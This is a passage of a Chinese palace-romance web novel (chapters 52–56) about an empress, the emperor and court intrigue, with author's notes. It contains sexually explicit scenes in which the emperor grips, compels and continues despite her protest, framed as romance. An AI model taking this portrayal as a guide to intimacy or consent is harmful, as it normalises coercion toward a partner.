连亦心见他不开口,又不安地追问,“舅舅,你说表哥是不是知道了那民间女子的事啊……” 要不是连亦心突然扯出这号人来,连骁都不记得这回事了,他冷笑道,“知道又怎么样?以他的薄情寡义,怕是早就不记得那女子了。” 连亦心却不这么认为,她觉得沈若辞能做皇后,其中很大一部分原因是因为跟那民间女子长得像,她摊开了跟连骁讲,“舅舅,有一事你还不知道,现今的皇后娘娘长得跟那民间女子有几分相似。” 连骁原本闭着眼靠着车壁,对她的话不甚在意,此时听她这么讲,猛地睁开了眼睛,“那女子死了没?” 连亦心被他眼中的戾气吓了一跳,话说得不甚肯定,“应该……死了吧。” 连骁没有继续追问下去,但他心中却有另一番算计。若只是因为长得相像,那这事就好办多了,给他把人找回来就得了,多大的事。 他唇边荡起一抹笑意,“我知道你喜欢皇帝,舅舅会扶持你上去那个位置,让你做他的皇后。” 被揭穿了心意,连亦心俏脸一红。这些日子来,她一直因为现实与梦境的出入夜不能寐,此时听到这个消息,心里总算有些安慰,她极轻、极开心地“嗯”了一声。 龙泽宫内,一名宫人垂着头立在屏风前,事无巨细地禀告着事务。 屏风后元栩换下身上的衣物,手中握着一团白布,修长的五指卸去力道,布团舒展开来,勉强能看出是女子贴身的衣物,他眼底晦暗不明,语气淡淡的,“舅舅还做了什么?” 宫人低垂的身子一顿,从平淡的语气中察觉出一丝不悦,他努力回想当时的状况,“连将军把手伸到皇后娘娘身前,并没有触碰到皇后娘娘的身子。” 屏风后一阵沉默。 宫人斟酌着补充道,“皇后娘娘当即推开连将军的手,没有给他靠近的机会。” 元栩将舒展开来的布团没入铜盆,一点一点地洗去脏污。 宫人闻着水声,静静地等候命令。 水声渐歇,屏风那头传来声响,“传令下去,今后任何人无召令不得私自进宫。” 宫人领了命令下去。 隔日清晨,刚用过早膳,薛雪媚几人又相携而来。 沈若辞在发间簪了一支风铃花步摇,挽了披帛就出去见客。后宫的女人,依傍着同一个男人,少不得要勾心斗角互相较量。 到目前为止,这几位妃子虽不知私底下怎么看她想她,但在面子上大家都是客客气气的,她也以礼待之。 薛雪媚见锦云进去禀报,就一小会的功夫,沈若辞就出来了,这让她联想到静妃,便不快道,“还是皇后娘娘识大体,不像某些人,出个门都要打扮上半天,巴不得全世界都知道她受宠。” 连亦兰知道她所指何人,接着她的话说道,“她那嫡亲弟弟马瑜春很快就要被流放了,能不能活着到那鬼地方都未必,她每天就想着涂脂抹粉勾引人。” 沈若辞知道她们在说静妃,她极少跟着薛雪媚几人一同前来,几乎每回都是缺席的。 依着这几个妃子的言辞,静妃似乎还是受宠的那位。沈若辞想起马瑜春做的那些坏事,静妃没少替他包庇周旋,不禁微微皱起眉头。 好在眼下这恶霸伏法,再无法出去祸害别人。 沈若辞沉浸在自己的思绪中,感觉有人推了推她的手,她回过神来,连亦兰正笑盈盈地看着她,“娘娘昨夜走得早,不会还不知道,皇上在假山里宠幸了个胡姬。” 沈若辞脸上神色一滞,心虚道,“略有耳闻。” 薛雪媚心道装什么,恐怕一早就打探得清清楚楚了,她笑道,“那些个胡姬也不知给皇上灌了什么迷魂汤,今日一下早朝,龙泽宫那边就火急火燎地找了两位胡姬过去,半天没出来。” 起初她还在笑,说到后边便也笑不出来了。连低贱的胡姬都愿意睡,可两年来就是不愿意碰她一下,薛雪媚堵了一口怨气袭上心头,憋得慌。 沈若辞却松了一口气,这样看来,皇帝没有识破她的身份,她昨夜并没有穿帮。 ** 掌灯时分,天还未黑透,连嬷嬷就催着沈若辞去沐浴净身。 沈若辞慢吞吞地捻起最后一颗樱桃吃下,满足地打了个饱嗝。 皇帝平日里见她,神色都是淡淡的,就连榻上之事,也能感受到他的清冷克制。可昨夜假山里,她第一次知道,皇帝对别的女人,原来是像火一样,炙热疯狂,深知恨不得将对方揉进骨血里。 说实话,这份疯狂刺激,让她害怕的同时,也生出点异样的感觉。 沈若辞身子莫名软了软,她端起茶杯喝水来掩饰发热的耳根。 往常夜里皇帝来雪辉宫,回回都要把她折腾到筋疲力尽。每每这时,沈若辞累得眼皮都抬不起来,他还是龙精虎猛,一副没有尽兴的模样。此番是他合心意的女子,又是一次两女,怕是不到明早不会善罢甘休。 她磨磨蹭蹭地起身,走到浴池旁准备入浴。 住进雪辉宫有一段时间了,这浴池一直空置着,拢共没用上几回。今夜皇帝不会来了,索性让宫女放满了热水,舒舒服服地泡个澡。 沈若辞在池子玩起了水,白白嫩嫩的身子浮浮沉沉,水汽洇染之下,一双杏眸湿漉漉的,鬓边的碎发淌着水珠。她玩累了回到池边,倚着白玉池壁休息,身子软绵绵的,连骨头都是酥的。 荣月进来催过一回了,她将人糊弄走了。此时屋里又进来人,她耳边响起一阵水声,睁开眼儿就看到一串水花被扬起,然后落在池中央。 她缓缓地合上眼皮,宽慰道,“放心吧荣月,皇上有的忙,今夜不会有空过来的。” 荣月没有回应,沈若辞以为对方被自己说服了,正想换个更舒服的姿势,就感觉一只手握住自己的后劲。 那只手的力道渐渐加重,掐得她连回头去看看都无能为力。紧接着她被那股力量提了起来,水珠顺着幼嫩细滑的肌肤滑落,她被迫着站起身来。 沈若辞闻到他身上淡淡的草药香气,心中一惊。他此时不该是与那两位美艳胡姬翻云覆雨的时候,怎么还会有空过来? “皇上。”一双玉足落地,她双手环在胸前转过身去,微微抬眸去看他,惊疑不定,“您怎么有空过来?” 元栩拿起布巾擦拭弄湿的手掌,头也不抬一下,“皇后好好解释一下,朕为何就没空过来呢。” 沈若辞语塞。 不是有两个美艳的胡姬? 这话她只敢在心里想想,却万万不敢问出嘴来。 此时元栩已擦干净了手,他扔过去一件纱衣,盖在她环着雪峰的手臂上。 沈若辞扯下纱衣掩在身子上,小声道,“我还没穿小衣呢。” 元栩投去一道目光,“不必了,等会也要脱。” 她杏眸微垂,咬着唇儿想,那可是两个女人,他难道还要不够吗? 这人是皇帝,沈若辞再也不情愿,也要依他的意思,套上那身纱衣。这纱衣要罩在小衣外边穿的,现在里头空荡荡的,一低头就能瞥见两抹饱满的圆弧,透着朦胧的粉。 作者有话说:那可是两个女人啊!! 女儿的脑回路真可爱。 第53章 幸好皇帝已经拔腿朝门口走去, 没看到这一幕。 沈若辞跟在他身后出了浴房,天气开始转凉,殿内已铺上羊毛毯子, 光着脚踩在上边软软的,又暖又舒服。 元栩指了指桌面上两个精致的托盘, 托盘上各放着一套衣裳,“挑一身, 穿上。” 沈若辞看了一下,左边是绯红色的纱裙, 右边是轻烟色的,她随手指了指右边的。 见元栩没有表态, 沈若辞拿着衣裳去了屏风后边。 元栩在外头等得不耐烦了, “皇后需要朕去抱你出来吗?” 屏风后, 沈若辞低头看了一眼身上的裙裳, 与昨日那套虽有相似,但明显要精致、轻薄……许多。 她面红耳赤, 吞吞吐吐地回道, “这衣裳,见不了人。” 元栩等太久,已然失去了耐性,“沈若辞, 你再不出来,朕就……” 他就要闯进去了! 好在话说了半截的时候,沈若辞已从屏风后出来, 浓密的乌发披散,末端微微卷着,轻烟色的抹胸纱衣层层叠叠, 勉强裹住大半丰盈。 明明是素净的颜色,穿在她玲珑的曲线上,却别有一股魅惑的美感。 元栩莫名觉得口干舌燥,连眼眶都发烫起来,他动了动干燥的唇,哑声道,“跳。” 屋中有乐声响起,沈若辞这才发现门口不知何时摆了上硕大的屏风,与外间隔离开来,他一声令下,屏风后等候多时的乐倌们便开始演奏。 沈若辞的身子随着乐声放松,慢慢进入状态,她抬起手腕,臂弯的披帛随着她扬起的力道翻飞起来。 灵活的足尖轻旋,裙摆漫散开来,宛若神女翩翩起舞。 元栩看得眼花缭乱,心里却不由得赞叹,这小女子怎么什么都会! 要不是此番九皇叔乱点鸳鸯谱,他都不知道沈若辞舞也跳得这么好。 元栩似乎高估了自己的定力,没一会就坐不住了,上去将那起舞的神女抱在怀里,浅浅地吻着她的脸,从额头在下巴,吻得极为克制。 沈若辞乖乖地由他抱着,听他气息混重地在她耳边低语,“你到底还有什么惊喜是朕不知道的。” 她疑惑地望着他,眼神迷离,心道想看跳舞就认真看,要睡她就上床去,说这个到底是什么意思? 元栩并没有上床去的意思,在羊毛毯子上直接要了她一回,漂亮的舞裳被弄脏了。外间乐声还在继续,沈若辞粉颊红透,唇间还咬着他的手指。 元栩抽回布满牙印的长指,附在她耳边低语,“衣裳脏了,朕帮你换另一套。” 沈若辞红唇仍有些僵硬,“我、我我想去清洗……” 元栩脱下她脏污的裙裳,“不必了,朕没有弄在里边,抹一下就好了。” 这回换上绯色的舞裙,这颜色更衬她的明艳,元栩将人抱到羊毛毯的中央。沈若辞被他迫着继续跳舞,方才云雨余韵未散,此时她的身子正酥软,举手投足之间都带着说不清道不明的劲儿。 元栩勉强看到最后,最终还是急不可耐地将人压在梳妆台上,很快又把她弄得哭哭啼啼。 连嬷嬷在外间听到声响立马心领神会,挥挥手就让乐倌们退下。 沈若辞哭得眼眶红红的,纱裙已被拨至腰间,她的腿很漂亮,笔直自纱裙中无力垂落。这一回,比以往的每一次都要持久,沈若辞心跳得急促,几欲眩晕。好在终是等来一声低吼,她如释重负地瘫软在梳妆台上,等着他唤人进来伺候。 元栩拉起裙摆擦拭几下,这才剥下碍事的舞裙,将她整个人抱了起来。他没有走向浴间,径直去了床榻。沈若辞被放在锦褥上,片刻之后,她感觉脚腕被捉住抬起,元栩正跪在脚踏上摆弄着她的双脚。 “不要……”话说出了口,她才发现自己的声音又黏又糊,根本没有反抗的能力,听在男人耳中更像是在拱|火。 沈若辞扭动脚踝试图挣脱他的手,元栩一个用力,她整个人滑至床沿,眼见又要被得逞,她又急又羞,屈起膝盖就往他手臂蹬去—— 这一下踢歪了,并没有蹬到元栩的手臂,她只听到一声压抑痛呼,脚底滚烫烫的。 下一秒元栩弓着身子跌落在地,乌发垂散。沈若辞拥着被子坐起来,没看清他的神色,但心底里莫名发慌,直觉自己闯了祸。 也不知道是吓呆了还是心里存着气,沈若辞没有下去扶他的意思,只是呆呆地坐在床榻上望着他。 元栩与她对视了一刻。半晌之后,她仍无动于衷,才自己站起身来,而后开始穿衣服,他边穿边朝外边唤了一声,连嬷嬷应声而入。 殿内安安静静的,小夫妻二人,一个正穿衣服,一个孤独地坐在床上,眼神里尽是无措。 连嬷嬷还没来得及开口,元栩系着腰带,忽然望向她。 “嬷嬷,朕要断子绝孙了。” 连嬷嬷年纪大了,尤其忌讳不吉利的话,她闻言心中咯噔一跳,赶忙化解道,“呸呸呸,小孩子胡说八道,不做数。皇上定会长命百岁,儿孙满堂。” 元栩却一副无所谓的模样,认真系好腰带,不甚在意地朝床榻上看了一眼,才开口道,“朕回龙泽殿去睡。” 连嬷嬷不明所以,又担心他受凉,“夜里风凉,皇上不如在此安寝,明早再走。” 元栩没有回答,又望向塌上一直沉默不语的玉人儿。 沈若辞身子雪白,被拥在锦被中与他对视一眼,始终没有开口。 他冷冷地丢下话,“朕走了。” 沈若辞望向他离开的背影,眼神里闪过瞬间的慌乱,又被眼底的倔强掩落。连嬷嬷这才发现端倪,但已经晚了,元栩已离开了雪辉宫。她追着出去送了件披风,又重新回到屋里。 沈若辞仍坐在床上发愣,连嬷嬷站在床边,一边替她挽起发髻,一边柔声问道,“娘娘,可是发生了什么事?” 沈若辞抿着唇欲言又止。 连嬷嬷寻来干净的中衣给她穿上,见她不肯开口,便道,“娘娘,热水都备着呢,老奴服侍您沐浴。” 沈若辞从茫然中回过神来,点了下头,从被褥中起身。 连嬷嬷扶着人,发现她掌心微微冰凉。 闹腾了半夜,皇帝走了,沈若辞睡得并不安稳。梦里乱糟糟的,有时是他如刀锋般凌厉冰冷的眼神,有时是他不悦的语气,有时是只身在外的父亲,一幕幕在脑中闪过,惊扰了她的梦境。 一夜没睡好,隔日醒来后沈若辞揉了揉额角,神色有些憔悴。 连嬷嬷今晨一早就炖上了雪梨龙骨汤,等她醒来后刚好喝上一碗,沈若辞勉强找回些许劲头。 薛太后身边的嬷嬷来了雪辉宫,开口便道,“太后娘娘有请,请娘娘随老奴走一趟。” 沈若辞身子倦怠,情绪恹恹,本不想去的,但一想到太后身为后宫之主,也不敢怠慢,简单收拾了一下就前往薛太后宫中。 殿内只有薛太后一人,并无其他妃子在场,沈若辞头一回跟她独处,难免有些忐忑。 薛太后却露出温柔的笑容,“过来,坐哀家身边。” 沈若辞依言过去。 薛太后拉着她的手,上上下下将人端详了一阵,直到把沈若辞看得浑身不自在,才叹惋道,“多好看的孩子,可惜皇上糊涂。” 这话从太后口中说出,就是长辈的操心与关怀,但沈若辞若搭腔,就显得不够大度,甚至会被认为是个善妒的主儿。 沈若辞心想着薛太后说这话是何意思,只是茫然地望向对方,没有急着接话。 薛太后看她怔愣,乌沉的目光微微一动,继续说道,“跟个低三下四的舞姬在假山里厮混,也不多看后宫的妃嫔一眼,委屈你们这些好孩子了。” 薛太后说得情真意切,拉着她的手不放,沈若辞却因为被提及假山一事,联想起那夜的靡乱,不由得有些心虚,神色也不自然起来。 她略显局促地回道,“太后娘娘言重了,皇上很好,并没有苛待我。” 奉承皇帝的话,薛太后听得多了,没几个是真心,她一副了然于心的模样,“哀家知道你们懂事,不必替他说好话。你父亲年纪大了,不比当年,理应留在盛京享福才是……” 薛太后欲拉拢沈相,也不是一天两天的事了,沈若辞想起父亲的腿,这几年偶尔发作起来,连早朝也去不了,她不由得心忧起来,“多谢太后娘娘体谅关心,父亲身体确实大不如前。” 殿中安静下来,沈若辞正想找个借口离开。薛太后突然伸手抚上她的脸颊,手指渐渐移到她的下颌,轻轻抬起,雪腮玉肌,秀眉含烟,杏眸潮湿,樱唇粉嫩…… “是顶好的容貌,讨人喜欢得紧。若是赫儿见了你,肯定像哀家一样喜欢。” 沈若辞不明白她为何突然提及元赫。 “日后赫儿回京了,让他封你做个贵妃好不好?” 沈若辞心中一惊,如此大逆不道的话,薛太后竟毫无忌惮地说出口来。她究竟存了什么心思,沈若辞没摸透,但她知道太后皇帝,无论哪一个,都不是她得罪得起的人。 她抬起手,手指搭在薛太后的手腕上,抬眸看她,“太后,臣妾、不明白……” 薛太后这才抽回手,轻笑了一声,“日后啊,你就明白了。” 她爱惜地抚摸着自己手,等沈若辞走远了,才笑出声来。 原来是个草包美人! 作者有话说:婚后第一次闹矛盾,小夫妻磨合期。 皇帝:出来混的还是要还的,哪只脚脚踢的,就用哪只脚来还债。 小仙女们,点个收藏呀,感谢感谢 第54章 沈若辞回到雪辉宫的时候, 便遇到龙泽宫那边的人过来传话,说皇上今晚不来用晚膳了。 此时连嬷嬷刚服侍沈若辞换了身衣裳,见她拿着打湿的布巾慢悠悠地擦手, 擦完手后又喝上酸酸甜甜的梅子茶,并没有将小太监的话放在心上。 也罢, 左右不过是夫妻间闹点小矛盾,当事人都不放在心上, 她何必自找不快呢。 夜里皇上果真也没有来雪辉宫里过夜。 沈若辞刚刚准备就寝,窗外传来熟悉的虫鸣声。她沉吟了一瞬, 心头顿时雀跃起来,立刻支走锦云和守夜的宫女, 穿了件外衣, 独自躺回床上。 不一会儿, 窗户就响起轻微的响动, 听起来是熟悉的节奏。她蹑手蹑脚地走到床边,推开窗户。 果不其然, 不出半晌, 一个人影就从窗外一跃而入。 沈若辞立马上前抱住那人,兴奋道,“阿秋,我就知道是你。” 程于秋揉了揉她的发心, “我来偷你出去玩。” 沈若辞压低了声音,“阿秋,你怎么知道皇帝今夜没过来的?” 程于秋敲了敲她的头, “我都在屋顶上喂了几晚蚊子了。” 沈若辞小脸涨得红红的,吞吞吐吐地问道,“那你……没听见屋里的声音吧?” 程于秋朝窗户外边看了一圈, 回头问她,“什么声音?” “没什么。”沈若辞松了一口气,“,这就走吗?” “对。” 她没来得及反应,就被程于秋一手提了起来。一路上起起落落,不一会儿就来到一处僻静山林。 沈若辞被放下来,她朝四周环顾了一下,抱紧自己双臂小心问道,“阿秋,你带我来这里做什么?” 程于秋指了指她的裙子,“把裙摆拉起来,我上去摘樱桃,你在下边接。” 沈若辞很快就明白,这是她俩小时候一直做的事情,程于秋刚纵身上树,她已经在树下拉好裙摆仰着脑袋观望。 树上叶子沙沙作响,片刻之后便有果子簌簌往下落,沈若辞伸长胳膊摊开裙摆去接。 程于秋连枝带叶扔了三四串果子下来后,就从树下跳下来,拍掉手上的尘土,边走向沈若辞边抱怨道,“听说今年樱桃歉收,皇宫里几棵樱桃树,就只剩下这棵还勉强能结几个果子,我把剩下的这几串都摘下来,别人想吃也没有了。” 她调皮地朝沈若辞做了个鬼脸,笑吟吟从她裙摆里拿出果子。 “今年结果很少吗?” 沈若辞想起这段时间来,雪辉宫里每隔个三五天,皇帝就派人送新鲜的樱桃来,虽然量不多,但也够吃。 程于秋将所有果子都拿在手上,示意她可以放下裙摆了,才有空答她,“嗯,是啊,我听宫女们说,连太后娘娘都吃不到,更遑论那几位妃子。” 沈若辞暗暗地想,太后娘娘都没吃上,她这些天却没少吃,原来皇帝跟太后的关系已经紧张到这种地步,连几颗樱桃都不想给太后,情愿便宜她这个做棋子的。 二人又沿原路返回雪辉宫。 一番折腾换衣、清洗樱桃后,程于秋捧着装满樱桃的盆子坐在沈若辞床上。 她见沈若辞也换好寝衣朝床边走过来,张开双臂迎接她,“今晚就由末将陪皇后娘娘就寝吧。” 沈若辞脱鞋上床,见她摆出一副大爷的样子,笑道,“那便有劳程将军了。” 程于秋躺在元栩以往睡的位置,问她,“沈沿沿,你说皇上今晚没有来你这里,会去哪个妃子那里?” 沈若辞捏起一颗樱桃堵住她的嘴,“快吃吧。” 程于秋嘴里嚼着樱桃,“你就不好奇,不在意吗?” 沈若辞摇头,“他是皇帝,你忘啦?” 她其实想问,宫中的生活,沈若辞你过得开心吗? “没忘啊,我就是从来没想过你会进宫当皇后。”她顿了顿,又补充道,“也没想过你会跟袁子逸在一起,你明明……” “好了阿秋,过去的人就不要说了。”可能因为记忆的缺失,沈若辞内心对袁子逸其实没有很深的感情。就算是在阿爹出事前,两家都默认二人交往的事实时,她跟袁子逸独处起来,很多时候都是尴尬,不自在,更别提与他做亲昵的事…… 她清楚袁子逸对她的排斥行为是有不满的,只是碍于个人修养,没有强迫于她。 她明白程于秋心中的顾虑,当即握住她的手,将自己真实的想法告知于她,“阿秋,你要为我开心的,我进宫后身子养得很好,不再是病秧子了。皇上虽君心莫测,却也没有因为阿爹的事为难我。以后的事,等我身子养好了再做打算。到时候我有新的计划,一定会提前告诉你。” 沈若辞愿意向自己说出内心真实的想法,程于秋很开心,她同样真诚道,“到时候有什么需要我的地方,记得跟我说。” 沈若辞不会跟她客气,“好。” 程于秋吐出两颗樱桃核,又将装樱桃的盆子搁在榻上,才道,“过来,跟你说我这两年来打听到的一些关于你身世的事情。” 身世?沈若辞显然没料到她会突然提起这桩陈年往事。 她愣了一瞬,才轻手轻脚地靠过去,听程于秋一边回忆一边说。 “天和九年末,那年姜国前任皇帝还是皇子的时候,在我们大魏当质子,不到一年就逃跑了。当时你爹还是户部的侍郎,接到消息后,一路南下追踪姜国皇子,途径江南、南岭等地,天和十一年才辗转到达姜国。” 沈若辞静静地听着,攥着裙摆的手心微微起汗。 天和十一年,她就出生在那一年的八月。 程于秋继续说道,“同一年年底,你爹从姜国回到大魏来,怀里就抱着一个小小的你。” 沈若辞若有所思,“所以,我生母有可能是姜国人?” 程于秋却摇头。 第55章 “我起初也是这般想的, 后来打听清楚了,你爹是天和十一年六月进入姜国的,期间姜国发生政变, 老皇帝暴病而亡,姜皇囚禁亲妹妹长衡公主, 顺利登基为王。两国经历几个月的谈判后,最终签订协议, 达成合作关系。十一月份你爹离开姜国,回到大魏。” “而我的生辰在八月份, 时间根本对不上,是不是?” “是, 往前推算, 你娘应该是天和十年末怀上你的, 那时候你爹尚在大魏境内与逃走的姜皇周旋, 并未进入姜国。” 程于秋见她仍沉浸在方才的对话内容中,久久不曾抬起头来, 便伸手拍了拍她的肩膀, “好啦,说完了。我打听到的也就只有这么多了,其实并没有什么有用的线索。” 沈若辞闻言起身放下帐幔,靠着程于秋一起躺下, “阿秋,你说人为什么总是不知足呢?” 明明,她已经拥有天底下最好的父亲, 可她心里其实并不满足,仍渴望见到未曾谋面的生母。 程于秋并不擅长安慰人,“想那么多做什么, 想做什么就去做,活着不就是为了折腾吗?” 话糙理不糙。沈若辞总能从她这里得到粗枝大叶的关怀。 隔天元栩上完早朝就回书房批阅奏折,在批阅完一本奏折,准备看下一本奏折的空隙,他想沈若辞连续两夜都是自己一个人睡,没有他睡在身边,不知道夜里是否睡得安稳? 他并不知道昨晚有人代替他,睡在他的位置上,陪他的皇后一起进入梦乡。 元栩下意识喊停,犯错的人明明是她,他为什么要在意她睡得好不好呢? 于是他拿起下一本奏折,继续处理政务。手边的奏折被清空后,他仰头躺在圈椅上,让身体进入一个放松的状态。 大脑放空时,他又忍不住想,她真的不在意他断子绝孙吗? 他要真断子绝孙了,她日后也没有孩子,难道她也能接受一生无子? 元栩越想越气闷,最后心烦意乱地将桌面上摆放整齐的毛笔全部扫落在地,才起身走出大殿,他决定找元琛一起喝酒,就不会莫名想起这些烦心事。 哪知到了元琛那里,迎接他的第一句话就是:“怎么回事啊皇上,后宫里那么多妃子,还一副欲求不满的样子。” 元琛眉目疏朗,动作飘逸自在,元栩不满地睨他一眼,眉头皱得更深。 “你这样可不行,有什么烦恼也不跟人说,别人不知道,如何给你出主意?这么憋着啊,早晚能憋出病来。” 元栩眼神微微一动,元琛见他有所松动,又乘胜追击,“快说吧,说晚了我可不奉陪了。” 元琛一个闲人,能有什么事,说出这种话来,不过是在拿捏他。 见元栩压根儿不受骗,元琛也自觉没意思,摇着扇子说要出门去赏花了。哪知还没走出几步,背后就传来一个颓丧的声音。 “四哥。”元琛闻声回头,元栩说得极慢,“朕昨夜,让皇后给踢下床了。” 元琛毫不掩饰自己的好奇,以迅雷不及掩耳之势,几乎是不假思索地坐回方才的位置,“唉,我还当你遇到什么难事,原是夫妻间有了矛盾。” 他言语中竟还有几分戏谑的意味,引得元栩更加心乱如麻,早知道就不该将此事告诉他! 元琛认真将他的话想了一遍之后摇摇头,“不应该,皇后看起来温柔有礼,不像是会把丈夫踢下床的悍妇。” 元栩动了动嘴唇,刚想开口,手臂却被对方一把攥住。 元琛看着他的眼睛,“除非你……”他顿了顿,极为肯定道,“不行。” 话刚说完,就见元栩的脸黑得像块破布一样。 元琛尴尬地咳了两声。 “找到问题方能对症下药。” 元栩的眼神几乎能将他杀死,“朕行得跟。” 他低头抚平腰下褶皱,“就是太行了,才会惹她生气。”言辞间没有炫耀,只有困恼。 元琛觉得他就是犯了天底下男人惯有的毛病,喜欢夸大自己。毕竟如果那方面真的很厉害的话,想必自豪要比烦恼多得多。更遑论他是帝王,有强大的后宫供他消遣愉悦。 元琛原本还想再逗他,哪知一抬头,就见他鼻尖挂着一道鲜红,如水柱一般迅速往下蔓延,元栩也似有察觉,下意识抬手用食指往鼻间一探,指间赫然一片鲜红。 哎呦!岳长安心中一惊,暗暗喊了一声,赶紧上前扶皇帝坐下来,掏出帕子给他止血。 元琛目瞪口呆。半晌才反应过来,火气大成这个样子?后宫一后四妃,宫女无数,还不够他泻火不成? “去请太医来。”元琛过去帮元栩按住止血的布巾,让岳常安去请太医。 沈太医来到殿中的时候,元栩已不再流鼻血,显然是止住了。他坐下来两指按住元栩的手腕,替他诊脉。 诊断过后,沈太医站起来朝皇帝行了一礼,才开始说病情,“龙体无大碍,就是气血过盛,皇上最近是不是有在用一些滋补的药物?” 元栩点头承认,“朕近期是有用一些药物在药浴,跟这个有关系?” 他命人拿出药方,沈太医接过来看了一遍,如实禀道,“该药方对体弱者,尤其是气虚体弱的女子确实大有益处。但皇上正值盛年,正是身强体壮,气血丰盛之际,根本无需用上这些补药。臣开一些泻火的药,皇上服上几副便无碍。只是……” 世上诸事皆是过犹不及,本就身强体壮的男子,若再盲目滥用补药,轻则气血翻涌、气旺火盛,重则伤身耗体,无法挽回。 元琛见他吞吞吐吐,欲言又止的模样,没忍住催促道,“只是什么,你快说啊。” 沈太医偷偷看了皇帝一眼,见他没有阻止的意思,便继续说道,“只是那……滋补的药物切不可再继续用了。” 元栩静静地听着,不置可否。 沈太医告退后,元琛茅塞顿开,双手一拍激动道,“原来如此,怪不得寿宴上你会控制不住,当场就在假山里幸了那舞姬。我就说你不是不能克制住自己的人……” 他还想再说下去,但眼角余光闪过,元栩脸色铁青,只好悻悻地收了嘴。 元琛轻咳一声,“话说你没病用那些药干什么?” 元栩在他面前丢了面子,也不给他情面,“不该你知道的事少打听,你就说有什么办法可以解决吧。” “听你这么说,你是不打算听沈太医的话,那些个补药你要一直用下去,然后一直这么……”他一时想不到该用什么词去形容,最后绞尽脑汁,“这么龙精虎猛下去!” 元栩淡淡的回答,“是”。 她的病一天不好,药浴便不能停。 元琛收起笑容,他不理解,但也表示尊重,“既然非要如此,那就提升一下技术,让对方离不开你。”也不至于堂堂一国之君,让女人从床上给踢下来,这要是传出去,受损的可是大魏的国风。 元琛虽长他半岁,碍于后宅仍无妻无妾,元栩心里极度不乐意向他一个孤家寡人请教闺房之事,却不得不寡着脸,徐徐问出,“如何提升?” 元琛向来情绪大开大合,不加掩饰,见元栩一个妻妾成群的人,像一个愣头青一样问出这种话,简直惊掉了下巴,“不会吧。”他扶起自己的下巴,“你是真不知道,还是假不知道?” 元栩这时候感觉到他似乎不像是在开玩笑,他闷声看着元琛,看他嘴里到底能说出个什么来。 以元琛对他的了解,一眼就能看出元栩真的是不知道,而不是在嘴硬。他叹了口气,一副恨铁不成钢又一脸怜悯同情,好半晌才拍了拍他的肩膀,“这事交给我解决。” 元栩开始用怀疑的眼神看他。 受不了这种不信任,元琛白了他一眼,“啧,还是有一堆嫔妃的人,竟不如我。” 元栩回瞪他一眼,给自己辩解,“朕成婚还不足一月。” 元琛给他的话气笑了,反问道,“后宫那些妃子不是一早就有的?她们不是你的女人?是摆设不成?” 元栩一本正经地回他,“她们并非朕的妃子,只能说是太后的妃子。” 元琛佩服他睁眼说瞎话的本事,他懒得同元栩争辩下去。桌上的白玉杯盛满了酒,他端起来一饮而尽,“东西我派人给你送进宫来,都是精品,别人我可舍不得给。你得好好学习啊,不然就辜负我一番苦心了。” 皇宫里的树木开始落叶,天气渐渐转凉。九皇叔因旧伤发作,去行宫将养了一段时间。行宫里有大大小小十几处天然的温泉池,对养伤有很大的帮助。 程于秋作为他的义女,为了膝下尽孝,也跟着一同离开了皇宫前往温泉行宫。 沈若辞日夜盼着九皇叔能早日康复归来,好让程于秋也回到宫里来,这样子偶尔还能见上一面。 可没等来九皇叔康复的消息,就得知皇帝要去行宫探望九皇叔。 沈若辞在雪辉宫里叹了口气。这样看来,九皇叔怕是一时半会回不来了。 锦云瞧着皇后娘娘一会皱眉,一会叹气的,便笑着走过去,“娘娘若是舍不得皇上,就一起去行宫。我听说那里的温泉池都是天然的,睡前泡上一会儿,保管夜里睡得舒舒服服。” 话刚说完,连嬷嬷从屋外进来,狠狠地瞪了她一眼。 作者有话说:血债血还,脚债脚偿,下章见。 第56章 锦云不明所以地看向连嬷嬷, 见她黑着脸不说话,脑子突然转过弯来。 皇上那夜怒气冲天,离开之后便再也没有来过雪辉宫留宿, 她说到兴头上就忘了这一茬,所幸连嬷嬷出现得及时, 没让她继续胡说下去,她颓丧地退到一旁。 连嬷嬷端上来一碗补汤, 用手背试了试碗身温度,双手送到沈若辞手中, “娘娘身子骨弱,气力不足, 多喝些补汤有好处。” 沈若辞抿了抿嘴唇, 这几日来, 每日早晚各一次补汤, 沈若辞都有点儿吃怕了。 察觉出沈若辞的抗拒,连嬷嬷又温言补充道, “身子骨养好了, 皇上夜里来的时候,娘娘也不至于太累。” 沈若辞端着瓷碗的手轻轻颤了一下。 每每夜里她哭着喊着“不行了”的时候,皇帝总爱在亲过她的唇后,气息粗重地附在她耳边, “这身子该好好养养。” 语气中透着几丝不悦,似乎恨不得把她吃了。 沈若辞苦笑着喝下汤,就他那身体里, 感觉永远有用不完的精神和力气,她再怎么补,也跟不上啊。 连嬷嬷在一旁看着她喝汤, 状似不经意地提起,“皇上最近白天忙政务,夜里还要看书到深夜,日夜操劳,怕是要累坏了身子。” 沈若辞微微扬起头。 皇帝难道不是因为恼她才不来雪辉宫的?她早晨站在窗边透气的时候,就听到两个宫女在墙边说悄悄话。 一个宫女叹息道,“皇上有好几天没来雪辉宫,不会是皇后娘娘要失宠了吧?” 另一个宫女道,“最近夜里龙泽宫里热闹得很,皇上夜里还在处理政务,各宫的娘娘们争先恐后,纷纷抢着过去送汤呢。” “咱们娘娘再不去皇上跟前转转,怕是要被忘记了。” “唉,我也是这么觉得的。” 沈若辞当时就想,她们爱去就去,她可不做那种谄媚的事儿。 可此时她瞧着连嬷嬷的脸色有些奇怪,心里隐隐有些不好的念头,果然下一秒,连嬷嬷就开口道,“皇上辛苦,娘娘也该用点心,抽空过去送个汤关心一下。” 沈若辞嘴唇有些僵硬。 锦云从善如流,“娘娘下午做的燕窝莲子银耳羹可好吃了,奴婢这就去盛一碗过来,娘娘送过去给皇上也尝尝。” 锦云迈着欢快的步伐跑出了屋,不出一会儿手里便提着食盒回来了。 连嬷嬷想起皇上并不喜欢甜食,但见沈若辞已被锦云说动,便也没有说出来扫兴,她拿过披风,“老奴给娘娘披上。” 沈若辞几乎是被赶鸭子上架,等她站在龙泽宫门口的时候,都没有真的想好要进去。 当值的小太监瞧着是个眼生的,一听皇后娘娘要进去送莲子羹,神色有些为难,“皇上并不喜欢甜食。” 锦云瞪了他一眼,“不喜欢就不喜欢,我们皇后娘娘进去看看皇上。” 小太监每天都要跟这些妃子打交道,早就不胜其烦,他直截了当地回绝道,“皇上正忙着呢,没空见娘娘。” 沈若辞心头一松,略感惋惜地说道,“既然皇上不喜欢莲子羹,那我们下回准备点别的再来也行。” 小太监点点头,“娘娘说得是。” 